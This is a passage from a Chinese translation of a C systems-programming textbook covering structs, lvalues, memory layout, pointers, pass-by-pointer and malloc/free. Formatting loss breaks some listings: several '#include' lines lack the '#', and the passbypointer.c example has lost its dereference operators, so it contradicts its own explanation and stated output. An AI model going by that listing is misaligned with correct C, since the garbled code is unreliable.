strcpy(student2.name, "Frances Allen");
student2.grad_yr = student1.grad_yr + 1;
/* Print the fields of student2\. */
printf("name: %s age: %d gpa: %g, year: %d\n",
student2.name, student2.age, student2.gpa, student2.grad_yr);
/* Print the size of the struct studentT type. */
printf("number of bytes in student struct: %lu\n", sizeof(struct studentT));
return 0;
}
运行时,该程序将输出如下内容:
name: Kwame Salter age: 20 gpa: 3.5, year: 2020
name: Frances Allen age: 20 gpa: 3.5, year: 2021
number of bytes in student struct: 76
左值
左值是可以出现在赋值语句左侧的表达式。它是一个表示内存存储位置的表达式。当我们引入 C 指针类型并展示如何创建更复杂的结构体组合(如 C 数组、结构体和指针的结合)时,仔细思考类型非常重要,并且要记住哪些 C 表达式是有效的左值(即可以用于赋值语句的左侧)。
根据我们目前对 C 的了解,基本类型的单一变量、数组元素和结构体都是左值。静态声明的数组名称不是左值(你不能改变静态声明数组在内存中的基地址)。以下示例代码片段展示了基于不同类型左值状态的有效和无效 C 赋值语句:
struct studentT {
char name[32];
int age;
float gpa;
int grad_yr;
};
int main() {
struct studentT student1, student2;
int x;
char arr[10], ch;
x = 10; // Valid C: x is an lvalue
ch = 'm'; // Valid C: ch is an lvalue
student1.age = 18; // Valid C: age field is an lvalue
student2 = student1; // Valid C: student2 is an lvalue
arr[3] = ch; // Valid C: arr[3] is an lvalue
x + 1 = 8; // Invalid C: x+1 is not an lvalue
arr = "hello"; // Invalid C: arr is not an lvalue
// cannot change base addr of statically declared array
// (use strcpy to copy the string value "hello" to arr)
student1.name = student2.name; // Invalid C: name field is not an lvalue
// (the base address of a statically
// declared array cannot be changed)
1.6.4 传递结构体到函数
在 C 中,所有类型的参数都是按值传递给函数的。因此,如果一个函数有一个结构体类型的参数,那么当该函数被传递一个结构体实参时,实参的值会传递给该参数,意味着参数将获得实参值的副本。结构体变量的值是其内存的内容,这就是为什么我们可以通过类似下面的赋值语句,将一个结构体的字段赋值给另一个结构体的原因:
student2 = student1;
因为结构体变量的值表示其内存的全部内容,所以将结构体作为参数传递给函数时,函数参数会获得该结构体所有字段值的副本。如果函数修改了结构体参数的字段值,这些字段值的修改对实参的相应字段值没有影响。也就是说,参数字段的修改只会改变参数内存位置中这些字段的值,而不会影响实参对应字段的内存位置。
这是一个完整的示例程序(可下载^(11)),使用了接受结构体参数的checkID函数:
#include <stdio.h>
#include <string.h>
/* struct type definition: */
struct studentT {
char name[64];
int age;
float gpa;
int grad_yr;
};
/* function prototype (prototype: a declaration of the
* checkID function so that main can call it, its full
* definition is listed after main function in the file):
*/
int checkID(struct studentT s1, int min_age);
int main() {
int can_vote;
struct studentT student;
strcpy(student.name, "Ruth");
student.age = 17;
student.gpa = 3.5;
student.grad_yr = 2021;
can_vote = checkID(student, 18);
if (can_vote) {
printf("%s is %d years old and can vote.\n",
student.name, student.age);
} else {
printf("%s is only %d years old and cannot vote.\n",
student.name, student.age);
}
return 0;
}
/* check if a student is at least the min age
* s: a student
* min_age: a minimum age value to test
* returns: 1 if the student is min_age or older, 0 otherwise
*/
int checkID(struct studentT s, int min_age) {
int ret = 1; // initialize the return value to 1 (true)
if (s.age < min_age) {
ret = 0; // update the return value to 0 (false)
// let's try changing the student's age
s.age = min_age + 1;
}
printf("%s is %d years old\n", s.name, s.age);
return ret;
}
当 main 调用 checkID 时,student 结构体的值(即所有字段的内存内容副本)会传递给 s 参数。当函数修改参数的 age 字段值时,这不会影响实参(student)的 age 字段。运行程序后可以看到这种行为,输出如下:
Ruth is 19 years old
Ruth is only 17 years old and cannot vote.
输出显示,当checkID打印age字段时,它反映了函数对参数s的age字段所做的更改。然而,在函数调用返回后,main打印的student的age字段值与checkID调用之前相同。图 1-7 展示了checkID函数返回前调用栈的内容。

图 1-7:checkID函数返回前调用栈的内容
理解结构体参数的值传递语义在结构体包含静态声明的数组字段时尤其重要(例如struct studentT中的name字段)。当这样的结构体传递给函数时,结构体参数的整个内存内容,包括数组字段中的每个数组元素,都会被复制到参数中。如果函数修改了参数结构体的数组内容,这些修改将在函数返回后不会持久化。考虑到我们对数组如何传递给函数的了解(见第 48 页中的“数组和函数”),这种行为可能看起来有些奇怪,但它与前面描述的结构体复制行为是一致的。
1.7 小结
在本章中,我们通过将 C 语言的许多部分与 Python 中的类似语言结构进行比较,介绍了 C 编程语言,Python 是许多读者可能熟悉的语言。C 语言与许多其他高级命令式和面向对象编程语言具有相似的语言特性,包括变量、循环、条件语句、函数和输入输出。一些我们讨论的 C 和 Python 特性之间的关键区别包括:C 要求在使用变量之前,必须声明所有变量的特定类型;而 C 的数组和字符串比 Python 的列表和字符串是更低层次的抽象。这些低层次的抽象让 C 程序员能更好地控制程序如何访问内存,从而更好地控制程序的效率。
在下一章中,我们将详细介绍 C 编程语言。我们将更加深入地回顾本章中介绍的许多语言特性,并引入一些新的 C 语言特性,最重要的是 C 语言的指针变量和动态内存分配的支持。
备注
-
diveintosystems.org/antora/diveintosystems/1.0/C_intro/_attachments/hello.c -
diveintosystems.org/antora/diveintosystems/1.0/C_intro/_attachments/hello.py -
请参阅“使用 make 和编写 Makefile”在
www.cs.swarthmore.edu/~newhall/unixhelp/howto_makefiles.html -
book/modules/C_intro/assets/attachments/whileLoop1.c
-
book/modules/C_intro/assets/attachments/whileLoop2.c
-
book/modules/C_intro/assets/attachments/forLoop2.c
-
book/modules/C_intro/assets/attachments/function.c
-
book/modules/C_intro/assets/attachments/studentTstruct.c
-
book/modules/C_intro/assets/attachments/structfunc.c
第三章:深入探索 C 编程

在上一章涵盖了 C 编程的许多基础内容后,我们现在将更深入地探讨 C 的细节。在本章中,我们将重新审视上一章中的许多主题,如数组、字符串和结构体,并对它们进行更详细的讨论。我们还将介绍 C 的指针变量和动态内存分配。指针为访问程序状态提供了间接性,而动态内存分配则允许程序根据运行时的大小和空间需求进行调整,在需要时分配更多空间,并释放不再需要的空间。通过理解如何以及何时使用指针变量和动态内存分配,C 程序员可以设计出既强大又高效的程序。
我们首先讨论程序内存的各个部分,因为这将有助于理解后续介绍的许多主题。随着章节的进展,我们将涵盖 C 文件 I/O 以及一些高级 C 话题,包括库链接和编译成汇编代码。
2.1 程序内存的组成和作用域
以下 C 程序展示了函数、参数以及局部和全局变量的示例(为简化代码列表,省略了函数注释):
/* An example C program with local and global variables */
#include <stdio.h>
int max(int n1, int n2); /* function prototypes */
int change(int amt);
int g_x; /* global variable: declared outside function bodies */
int main() {
int x, result; /* local variables: declared inside function bodies */
printf("Enter a value: ");
scanf("%d", &x);
g_x = 10; /* global variables can be accessed in any function */
result = max(g_x, x);
printf("%d is the largest of %d and %d\n", result, g_x, x);
result = change(10);
printf("g_x's value was %d and now is %d\n", result, g_x);
return 0;
}
int max(int n1, int n2) { /* function with two parameters */
int val; /* local variable */
val = n1;
if ( n2 > n1 ) {
val = n2;
}
return val;
}
int change(int amt) {
int val;
val = g_x; /* global variables can be accessed in any function */
g_x += amt;
return val;
}
这个例子展示了具有不同作用域的程序变量。一个变量的作用域定义了其名称何时具有意义。换句话说,作用域定义了程序代码块的集合,在这些代码块中,变量与程序内存位置绑定并可以被程序代码使用。
在任何函数体外声明一个变量会创建一个全局变量。全局变量始终存在于作用域内,并且可以被程序中任何代码使用,因为它们始终绑定到一个特定的内存位置。每个全局变量必须有一个唯一的名称——它的名称在程序运行期间唯一地标识程序内存中的特定存储位置。
局部变量和参数仅在它们被定义的函数内有效。例如,amt 参数只在 change 函数内有效。这意味着只有 change 函数体内的语句能够访问 amt 参数,并且 amt 参数的实例仅在特定的函数执行期间绑定到一个特定的内存存储位置。当函数被调用时,存储参数值的空间会在栈上分配,并在函数返回时从栈中释放。每次函数激活时都会为其参数和局部变量分配独立的绑定。因此,对于递归函数调用,每次调用(或激活)都会获得一个包含其参数和局部变量空间的独立栈帧。
由于参数和局部变量仅在定义它们的函数内部有效,不同的函数可以使用相同的名字来命名局部变量和参数。例如,change函数和max函数都有一个名为val的局部变量。当max函数中的代码引用val时,它指的是该函数的局部变量val,而不是change函数的局部变量val(后者在max函数的作用域内不可用)。
虽然在 C 程序中有时需要使用全局变量,但我们强烈建议你尽可能避免使用全局变量编程。仅使用局部变量和参数可以让代码更加模块化、通用,且更容易调试。而且,由于函数的参数和局部变量仅在函数激活时才分配到程序内存中,它们可能导致程序更加节省空间。
启动新程序时,操作系统为新程序分配地址空间。程序的地址空间(或内存空间)代表了程序执行所需的所有存储位置,即用于存储指令和数据的存储区。程序的地址空间可以看作是一个可寻址字节的数组;程序地址空间中每个使用的地址存储了程序指令或数据值的全部或部分(或程序执行所需的其他状态)。
程序的内存空间被分为几个部分,每个部分用于存储进程地址空间中的不同类型的实体。图 2-1 展示了程序内存空间的各个部分。

图 2-1:程序地址空间的各个部分
程序内存的顶部保留供操作系统使用,而其余部分则可供正在运行的程序使用。程序的指令存储在内存的代码部分。例如,前面提到的程序将main、max和change函数的指令存储在该内存区域。
局部变量和参数存储在栈的内存部分中。由于栈空间随着函数调用和返回而增大和缩小,栈的内存部分通常会分配在内存的底部(即最高的内存地址),以便为栈的变化留出空间。局部变量和参数的栈存储空间仅在函数活动时存在(即在函数激活的栈帧内)。
全局变量存储在数据部分。与栈不同,数据区域不会增长或缩小——全局变量的存储空间在程序运行的整个过程中都持续存在。
最后,内存的堆部分是程序地址空间中与动态内存分配相关的部分。堆通常位于远离栈内存的位置,随着程序动态分配更多空间,它会向更高的地址增长。
2.2 C 语言的指针变量
C 语言的指针变量为访问程序内存提供了间接性。通过理解如何使用指针变量,程序员可以编写既强大又高效的 C 程序。例如,通过指针变量,C 程序员可以:
-
实现能够修改调用者栈帧中值的函数
-
在程序运行时,根据需要动态分配(和释放)程序内存
-
高效地将大型数据结构传递给函数
-
创建链式动态数据结构
-
以不同方式解释程序内存的字节。
本节介绍 C 语言指针变量的语法和语义,并介绍如何在 C 程序中使用它们的常见示例。
2.2.1 指针变量
指针变量存储一个内存位置的地址,特定类型的值可以存储在该地址中。例如,指针变量可以存储一个int地址,该地址中存储整数值 12。指针变量指向(引用)该值。指针为访问存储在内存中的值提供了间接性。图 2-2 展示了指针变量在内存中的示例:

图 2-2:指针变量存储内存中某个位置的地址。这里,指针存储一个整数变量的地址,该变量保存数字 12。
通过指针变量ptr,可以间接访问它指向的内存位置中存储的值(例如12)。C 程序最常用指针变量的方式包括:
-
“按指针传递”参数,用于编写可以通过指针参数修改其参数值的函数
-
动态内存分配,用于编写能够在程序运行时分配(和释放)内存空间的程序。动态内存通常用于动态分配数组。它在程序员不知道数据结构大小的情况下特别有用(例如,数组的大小取决于运行时用户输入)。它还使数据结构能够在程序运行时调整大小。
使用指针变量的规则
使用指针变量的规则与常规变量类似,唯一不同的是你需要考虑两种类型:指针变量的类型,以及指针变量指向的内存地址中存储的类型。
首先,声明一个指针变量,使用<类型名> *<变量名>:
int *ptr; // stores the memory address of an int (ptr "points to" an int)
char *cptr; // stores the memory address of a char (cptr "points to" a char)
注意 指针类型
虽然ptr和cptr都是指针,但它们指向不同的类型:
-
ptr的类型是指向整数的指针(int *)。它可以指向存储int值的内存位置。 -
cptr的类型是指向字符的指针(char *)。它可以指向存储char值的内存位置。
接下来,初始化指针变量(使其指向某个地方)。指针变量存储地址值。指针应该初始化为存储与指针变量指向的类型匹配的内存位置的地址值。初始化指针的一种方式是使用地址操作符(&)与变量一起获取该变量的地址值:
int x;
char ch;
ptr = &x; // ptr gets the address of x, pointer "points to" x
cptr = &ch; // cptr gets the address of ch, pointer "points to" ch

图 2-3:程序可以通过将指针赋值为现有变量的地址来初始化指针。
下面是一个由于类型不匹配导致的无效指针初始化示例:
cptr = &x; // ERROR: cptr can hold a char memory location
// (&x is the address of an int)
即使 C 编译器可能允许这种类型的赋值(并给出关于不兼容类型的警告),通过cptr访问和修改x的行为可能不会像程序员预期的那样工作。相反,程序员应该使用int *类型的变量指向一个int存储位置。
所有指针变量也可以被赋予特殊值NULL,表示无效地址。虽然空指针(值为NULL的指针)不应被用于访问内存,但NULL值对于测试指针变量是否指向有效内存地址非常有用。也就是说,C 程序员通常会检查指针,确保它的值不是NULL,然后再尝试访问它所指向的内存位置。要将指针设置为NULL:
ptr = NULL;
cptr = NULL;

图 2-4:任何指针都可以赋予特殊值NULL,表示它不指向任何特定地址。空指针不应被解引用。
最后,使用指针变量。解引用操作符(*)跟随指针变量,指向它在内存中所指向的位置,并访问该位置的值:
/* Assuming an integer named x has already been declared, this code sets the
value of x to 8\. */
ptr = &x; /* initialize ptr to the address of x (ptr points to variable x) */
*ptr = 8; /* the memory location ptr points to is assigned 8 */

图 2-5:解引用指针可以访问指针所指向的值。
指针示例
下面是一个使用两个指针变量的 C 语句示例:
int *ptr1, *ptr2, x, y;
x = 8;
ptr2 = &x; // ptr2 is assigned the address of x
ptr1 = NULL;
```
*ptr2 = 10; // the memory location ptr2 points to is assigned 10
y = *ptr2 + 3; // y is assigned what ptr2 points to plus 3

ptr1 = ptr2; // ptr1 gets the address value stored in ptr2 (both point to x)

*ptr1 = 100;

ptr1 = &y; // change ptr1's value (change what it points to)
*ptr1 = 80;

使用指针变量时,要仔细考虑相关变量的类型。绘制内存图像(如上所示)有助于理解指针代码的作用。一些常见的错误涉及错误使用解引用操作符(`*`)或地址操作符(`&`)。例如:
ptr = 20; // ERROR?: this assigns ptr to point to address 20
ptr = &x;
*ptr = 20; // CORRECT: this assigns 20 to the memory pointed to by ptr
如果程序解引用一个不包含有效地址的指针变量,程序会崩溃:
ptr = NULL;
*ptr = 6; // CRASH! program crashes with a segfault (a memory fault)
ptr = 20;
*ptr = 6; // CRASH! segfault (20 is not a valid address)
ptr = x;
*ptr = 6; // likely CRASH or may set some memory location with 6
// (depends on the value of x which is used as an address value)
ptr = &x; // This is probably what the programmer intended
*ptr = 6;
这些类型的错误展示了为什么需要将指针变量初始化为`NULL`;程序可以在解引用指针之前,先测试指针的值是否为`NULL`:
if (ptr != NULL) {
*ptr = 6;
}
### 2.3 指针与函数
指针参数提供了一种机制,通过它函数可以修改参数值。常用的*按指针传递*模式使用一个指针函数参数,该指针函数参数*获取调用者传递给它的某个存储位置的地址值*。例如,调用者可以传递它的一个局部变量的地址。通过在函数内取消引用指针参数,函数可以修改指针所指向存储位置的值。
我们已经看到了类似的功能,使用数组参数时,数组函数参数会获取传入数组的基地址的值(该参数引用的数组元素集与其参数相同),并且函数可以修改数组中存储的值。通常,这个想法可以通过将指针参数传递给指向调用者作用域中内存位置的函数来应用。
**注意:按值传递**
所有 C 语言的参数都是按值传递的,并遵循按值传递的语义:参数获取其参数值的副本,修改参数的值不会改变其参数值。在传递基本类型值时,像`int`变量的值,函数参数获取的是其参数值的副本(具体的`int`值),并且改变参数中存储的值不会改变其参数中的值。
在按指针传递的模式中,参数仍然获取其参数的值,但它被传递的是*地址的值*。就像传递基本类型一样,改变指针参数的值不会改变其参数的值(即,赋值使参数指向不同的地址不会改变参数的地址值)。然而,通过取消引用指针参数,函数可以改变参数和其参数所引用的内存内容;通过指针参数,函数可以修改一个在函数返回后调用者仍然可见的变量。
下面是实现和调用带有按指针传递参数的函数的步骤,其中包含显示每个步骤的示例代码片段:
1\. 声明函数参数为指向变量类型的指针:
/* 输入:存储内存地址的 int 指针
* 可以存储 int 值的位置(指向一个 int)
*/
int change_value(int *input) {
2\. 调用函数时,将变量的地址作为参数传入:
int x;
change_value(&x);
在前面的示例中,由于参数类型是`int *`,因此传递的地址必须是一个`int`变量的地址。
3\. 在函数体内,取消引用指针参数来改变参数值:
*input = 100; // input 指向的位置(x 的内存)
// 被赋值为 100
接下来,我们来看一个更大的示例程序:
passbypointer.c
include <stdio.h>
int change_value(int *input);
int main() {
int x;
int y;
x = 30;
y = change_value(&x);
printf("x: %d y: %d\n", x, y); // prints x: 100 y: 30
return 0;
}
/*
- changes the value of the argument
* input: a pointer to the value to change
* returns: the original value of the argument
*/
int change_value(int *input) {
int val;
val = input; / val gets the value input points to */
if (val < 100) {
input = 100; / the value input points to gets 100 */
} else {
*input = val * 2;
}
return val;
}
执行时,输出结果是:
x: 100 y: 30
图 2-6 显示了 `change_value` 执行返回前的调用栈。

*图 2-6:在从`change_value`返回之前调用栈的快照*
输入参数获得其参数值的副本(即`x`的地址)。当函数调用时,`x`的值为 30。在`change_value`函数内部,通过解引用参数将 100 赋值给参数指向的内存位置(`*input = 100;`,意味着“`input`指向的位置将得到 100”)。由于参数存储的是`main`函数栈帧中局部变量的地址,因此通过解引用该参数,可以更改调用者局部变量中存储的值。当函数返回时,参数值反映了通过指针参数所做的更改(`main`中的`x`值通过`change_value`函数的`input`参数被更改为 100)。
### 2.4 动态内存分配
除了通过指针传递参数外,程序通常还使用指针变量来动态分配内存。这种*动态内存分配*允许 C 程序在运行时请求更多的内存,而指针变量存储着动态分配空间的地址。程序通常会动态分配内存,以便根据特定运行定制数组的大小。
动态内存分配为程序提供了灵活性,能够:
+ 在运行时之前无法知道数组或其他数据结构的大小(例如,大小取决于用户输入)
+ 需要允许多种输入大小(不仅仅是某个固定的容量)
+ 想要为特定的执行精确分配所需的数据结构大小(不要浪费容量)
+ 在程序运行时根据需要增长或缩小已分配的内存大小,当需要时重新分配更多空间,当不再需要时释放空间。
#### 2.4.1 堆内存
程序内存空间中的每个字节都有一个相关的地址。程序运行所需的所有内容都在其内存空间中,不同类型的实体驻留在程序内存空间的不同部分。例如,*代码*区域包含程序的指令,全局变量驻留在*数据*区域,局部变量和参数占据*栈*,而动态分配的内存来自*堆*。由于栈和堆在运行时增长(随着函数的调用和返回以及动态内存的分配和释放),它们通常在程序的地址空间中相距较远,以便为它们各自的增长预留大量空间。
动态分配的内存占据程序地址空间中的堆内存区域(参见第 66 页)。当程序在运行时动态请求内存时,堆会提供一块内存,其地址必须分配给一个指针变量。
图 2-7 通过一个示例展示了正在运行的程序内存的各个部分,其中堆栈上的指针变量(`ptr`)存储着动态分配的堆内存的地址(它指向堆内存)。

*图 2-7:堆栈上的指针指向从堆中分配的内存块。*
重要的是要记住,堆内存是匿名内存,其中“匿名”意味着堆中的地址没有绑定到变量名。声明一个具名程序变量会将其分配到堆栈或程序内存的数据部分。一个局部或全局指针变量可以存储指向匿名堆内存位置的地址(例如,堆栈上的局部指针变量可以指向堆内存),并且解引用这样的指针使得程序能够在堆中存储数据。
#### 2.4.2 malloc 和 free
*malloc* 和 *free* 是标准 C 库(`stdlib`)中的函数,程序可以调用它们在 *堆* 上分配和释放内存。堆内存必须由 C 程序显式分配(malloc)和释放(free)。
要分配堆内存,调用 `malloc`,并传入要分配的连续堆内存的总字节数。使用 `sizeof` *运算符* 来计算请求的字节数。例如,要在堆上分配存储单个整数的空间,程序可以调用:
// Determine the size of an integer and allocate that much heap space.
malloc(sizeof(int));
`malloc` 函数将分配的堆内存的基地址返回给调用者(如果发生错误,则返回 `NULL`)。以下是一个完整的示例程序,使用 `malloc` 来分配堆空间存储一个 `int` 值:
include <stdio.h>
include <stdlib.h>
int main() {
int *p;
p = malloc(sizeof(int)); // allocate heap memory for storing an int
if (p != NULL) {
*p = 6; // the heap memory p points to gets the value 6
}
}
`malloc` 函数返回一个 `void *` 类型,它表示一个指向未指定类型(或任何类型)的通用指针。当程序调用 `malloc` 并将结果赋值给指针变量时,程序将分配的内存与指针变量的类型关联起来。
有时你可能会看到 `malloc` 调用,显式地将其返回类型从 `void *` 转换为匹配指针变量的类型。例如:
p = (int *) malloc(sizeof(int));
在 `malloc` 前面的 `(int *)` 告诉编译器,`malloc` 返回的 `void *` 类型将在此调用中作为 `int *` 使用(它将 `malloc` 的返回类型重新转换为 `int *`)。我们将在本章稍后更详细地讨论类型重 cast 和 `void *` 类型,参见 第 126 页。
如果没有足够的空闲堆内存来满足请求分配的字节数,则 `malloc` 调用会失败。通常,`malloc` 失败表示程序中出现错误,例如传递给 `malloc` 一个非常大的请求,传递一个负数字节数,或者在无限循环中调用 `malloc` 并耗尽了堆内存。由于任何 `malloc` 调用都有可能失败,因此在解引用指针值之前,*始终检查其返回值是否为* NULL(表示 `malloc` 失败)。解引用空指针会导致程序崩溃!例如:
int *p;
p = malloc(sizeof(int));
if (p == NULL) {
printf("Bad malloc error\n");
exit(1); // exit the program and indicate error
}
*p = 6;
当程序不再需要通过`malloc`动态分配的堆内存时,应该通过调用`free`函数显式地释放该内存。调用`free`后,将指针的值设置为`NULL`也是一个好主意,这样如果程序中的错误导致它在`free`调用后被意外解引用,程序将崩溃,而不是修改已被后续`malloc`调用重新分配的堆内存。这种无意的内存引用可能会导致未定义的程序行为,通常非常难以调试,而空指针解引用会立即失败,从而使其成为一个相对容易发现和修复的 bug。
free(p);
p = NULL;
#### 2.4.3 动态分配的数组和字符串
C 程序员经常动态分配内存以存储数组。成功调用`malloc`会分配一个请求大小的连续堆内存块,并将该内存块的起始地址返回给调用者,从而使返回的地址值适合用于堆内存中动态分配数组的基地址。
要为元素数组动态分配空间,传递给`malloc`的是所需数组的总字节数。也就是说,程序应向`malloc`请求每个数组元素的字节数乘以数组元素的数量。传递给`malloc`的参数应该是总字节数的表达式,形式为`sizeof(<type>) * <number of elements>`。例如:
int *arr;
char *c_arr;
// allocate an array of 20 ints on the heap:
arr = malloc(sizeof(int) * 20);
// allocate an array of 10 chars on the heap:
c_arr = malloc(sizeof(char) * 10);
在这个示例中,`malloc`调用后,`int`指针变量`arr`存储了堆内存中一个包含 20 个连续整数存储位置的数组的基地址,而`c_arr`字符指针变量存储了堆内存中一个包含 10 个连续字符存储位置的数组的基地址。图 2-8 展示了这可能是什么样子。

*图 2-8:在堆上分配的 20 元素整数数组和 10 元素字符数组*
请注意,尽管`malloc`返回的是指向堆内存中动态分配空间的指针,但 C 程序将指向堆位置的指针存储在栈上。指针变量只包含数组存储空间在堆中的*基地址*(起始地址)。就像静态声明的数组一样,动态分配的数组的内存位置也是连续的。虽然一次`malloc`调用会分配一个请求大小的内存块,但多次调用`malloc`*不会*导致堆地址连续(在大多数系统上)。在前面的示例中,`char`数组元素和`int`数组元素可能位于堆中相距很远的地址。
在动态分配堆内存空间后,程序可以通过指针变量访问数组。因为指针变量的值表示数组在堆中的基地址,我们可以使用与访问静态声明数组元素相同的语法来访问动态分配数组的元素(参见第 44 页)。以下是一个示例:
int i;
int s_array[20];
int *d_array;
d_array = malloc(sizeof(int) * 20);
if (d_array == NULL) {
printf("Error: malloc failed\n");
exit(1);
}
for (i=0; i < 20; i++) {
s_array[i] = i;
d_array[i] = i;
}
printf("%d %d \n", s_array[3], d_array[3]); // prints 3 3
可能不太容易理解为什么可以使用相同的语法来访问动态分配数组中的元素,就像访问静态声明数组中的元素一样。然而,尽管它们的类型不同,`s_array`和`d_array`的值都求值为数组在内存中的基地址(参见表 2-1)。
**表 2-1:** 静态分配的`s_array`和动态分配的`d_array`比较
| **表达式** | **值** | **类型** |
| --- | --- | --- |
| `s_array` | 数组在内存中的基地址 | (静态)整型数组 |
| `d_array` | 数组在内存中的基地址 | 整型指针(`int *`) |
因为两个变量的名称都求值为数组在内存中的基地址(即第一个元素的地址),所以在变量名称后面的`[i]`语法对于两者的语义保持一致:`[i]` *解引用* int *存储位置,偏移量为* i *,从数组的基地址开始访问内存*——这就是在访问数组的第`i`个元素。
对于大多数情况,我们建议使用`[i]`语法来访问动态分配数组的元素。然而,程序也可以使用指针解引用语法(`*`操作符)来访问数组元素。例如,将`*`放在指向动态分配数组的指针前面,将解引用该指针来访问数组的第 0 个元素:
/* these two statements are identical: both put 8 in index 0 */
d_array[0] = 8; // put 8 in index 0 of the d_array
*d_array = 8; // in the location pointed to by d_array store 8
第 81 页的“C 语言中的数组”一节更详细地描述了数组, 第 224 页的“指针运算”一节讨论了如何通过指针变量访问数组元素。
当程序完成使用动态分配的数组时,应调用`free`来释放堆内存。如前所述,我们建议在释放后将指针设置为`NULL`:
free(arr);
arr = NULL;
free(c_arr);
c_arr = NULL;
free(d_array);
d_array = NULL;
堆内存管理、MALLOC 和 FREE
C 标准库实现了`malloc`和`free`,它们是堆内存管理器的编程接口。当调用`malloc`时,它需要找到一个连续的、未分配的堆内存块,大小满足请求。堆内存管理器维护一个*空闲列表*,该列表记录了未分配的堆内存块,每个块指定了一个未分配的连续堆内存块的起始地址和大小。
初始时,所有的堆内存都是空的,这意味着空闲列表中有一个包含整个堆区域的单一区段。在程序进行了一些`malloc`和`free`调用后,堆内存可能会变得*碎片化*,即堆内存中有一些空闲区域夹杂在已分配的堆空间中。堆内存管理器通常会保持不同大小区段的堆空间列表,以便快速查找特定大小的空闲区段。此外,它还实现了一个或多个策略,用于在多个可用的空闲区段中选择一个来满足请求。
`free`函数可能看起来有些奇怪,因为它只期望接收要释放的堆空间的地址,而不需要知道释放该地址的堆空间的大小。这是因为`malloc`不仅分配了请求的内存字节,还在分配的块前面额外分配了几个字节来存储头结构。头结构存储有关已分配堆空间块的元数据,例如大小。因此,`free`的调用只需要传递要释放的堆内存的地址。`free`的实现可以通过地址前的头信息获取要释放的内存大小。
要了解更多关于堆内存管理的信息,请参考操作系统教材(例如,《*OS in Three Easy Pieces*》第十七章“空闲空间管理”详细介绍了这些内容)。^(1)
#### 2.4.4 指向堆内存的指针和函数
当将动态分配的数组传递给一个函数时,指针变量参数的*值*被传递给函数(即数组在堆中的基地址被传递给函数)。因此,无论是将静态声明的数组还是动态分配的数组传递给函数,参数得到的值都是完全相同的——数组在内存中的基地址。因此,同一个函数可以用于静态和动态分配的相同类型数组,并且可以在函数内部使用相同的语法访问数组元素。参数声明`int *arr`和`int arr[]`是等价的。然而,按照约定,指针语法通常用于可能使用动态分配数组的函数:
int main() {
int *arr1;
arr1 = malloc(sizeof(int) * 10);
if (arr1 == NULL) {
printf("malloc error\n");
exit(1);
}
/* pass the value of arr1 (base address of array in heap) */
init_array(arr1, 10);
...
}
void init_array(int *arr, int size) {
int i;
for (i = 0; i < size; i++) {
arr[i] = i;
}
}
在`init_array`函数即将返回时,内存的内容将如下图所示 图 2-9。请注意,`main`只将数组的基地址传递给`init_array`。数组的大块连续内存仍然位于堆上,但该函数可以通过解引用`arr`指针参数来访问它。

*图 2-9:`init_array`函数返回前的内存内容。`main`的`arr1`和`init_array`的`arr`变量指向同一块堆内存。*
### 2.5 C 语言中的数组
在《数组简介》一节中(第 44 页),我们介绍了静态声明的一维 C 数组,并讨论了将数组传递给函数的语义。在《动态内存分配》一节(第 136 页),我们介绍了动态分配的一维数组,并讨论了将其传递给函数的语义。
在本节中,我们将更深入地探讨 C 语言中的数组。我们将更详细地描述静态和动态分配的数组,并讨论二维数组。
#### 2.5.1 一维数组
##### 静态分配
在深入了解新内容之前,我们简要总结一下静态数组,并给出一个示例。有关静态声明的一维数组的更多细节,请参见第 44 页的《数组简介》。
静态声明的数组要么在栈上分配(用于局部变量),要么在内存的数据区分配(用于全局变量)。程序员可以通过指定数组的类型(每个索引处存储的类型)和总容量(元素数量)来声明一个数组变量。
当将数组传递给函数时,C 语言会将基地址的值复制到参数中。也就是说,参数和实参引用的是相同的内存位置——参数指针指向实参数组元素在内存中的位置。因此,通过数组参数修改数组中的值会修改实参数组中存储的值。
以下是一些静态数组声明和使用的示例:
// declare arrays specifying their type and total capacity
float averages[30]; // array of float, 30 elements
char name[20]; // array of char, 20 elements
int i;
// access array elements
for (i = 0; i < 10; i++) {
averages[i] = 0.0 + i;
name[i] = 'a' + i;
}
name[10] = '\0'; // name is being used for storing a C-style string
// prints: 3 d abcdefghij
printf("%g %c %s\n", averages[3], name[3], name);
strcpy(name, "Hello");
printf("%s\n", name); // prints: Hello
##### 动态分配
在《动态内存分配》一节(第 74 页),我们介绍了动态分配的一维数组,包括其访问语法,以及将动态分配的数组传递给函数的语法和语义。在这里,我们将用一个示例简要回顾这些信息。
调用`malloc`函数会在运行时动态地在堆上分配一个数组。分配的堆空间的地址可以赋给全局或局部指针变量,该指针变量指向数组的第一个元素。要动态分配空间,需要将要分配的总字节数传递给`malloc`(使用`sizeof`运算符来获取特定类型的大小)。一次`malloc`调用会在堆上分配一个请求大小的连续内存块。例如:
// declare a pointer variable to point to allocated heap space
int *p_array;
double *d_array;
// call malloc to allocate the appropriate number of bytes for the array
p_array = malloc(sizeof(int) * 50); // allocate 50 ints
d_array = malloc(sizeof(double) * 100); // allocate 100 doubles
// always CHECK RETURN VALUE of functions and HANDLE ERROR return values
if ( (p_array == NULL) || (d_array == NULL) ) {
printf("ERROR: malloc failed!\n");
exit(1);
}
// use [] notation to access array elements
for (i = 0; i < 50; i++) {
p_array[i] = 0;
d_array[i] = 0.0;
}
// free heap space when done using it
free(p_array);
p_array = NULL;
free(d_array);
d_array = NULL;
##### 数组内存布局
无论是静态声明的数组,还是通过单次调用`malloc`动态分配的数组,数组元素都代表着连续的内存位置(地址):
array [0]: base address
array [1]: next address
array [2]: next address
... ...
array [99]: last address
元素`i`的位置位于数组基地址的偏移量`i`处。第`i`个元素的确切地址取决于数组中存储的类型所占的字节数。例如,考虑以下数组声明:
int iarray[6]; // an array of six ints, each of which is four bytes
char carray[4]; // an array of four chars, each of which is one byte
它们各个数组元素的地址可能如下所示:
addr element
---- -------
1230: iarray[0]
1234: iarray[1]
1238: iarray[2]
1242: iarray[3]
1246: iarray[4]
1250: iarray[5]
...
1280: carray[0]
1281: carray[1]
1282: carray[2]
1283: carray[3]
在这个例子中,`1230` 是 `iarray` 的基地址,`1280` 是 `carray` 的基地址。请注意,每个数组的单个元素分配到连续的内存地址:`iarray` 的每个元素存储一个四字节的 `int` 值,因此其元素地址相差四,而 `carray` 的每个元素存储一个一字节的 `char` 值,因此其地址相差一。需要注意的是,局部变量的集合并不保证在栈上分配到连续的内存位置(因此,在 `iarray` 末尾和 `carray` 开始之间可能会有一个地址间隔,如本例所示)。
#### 2.5.2 二维数组
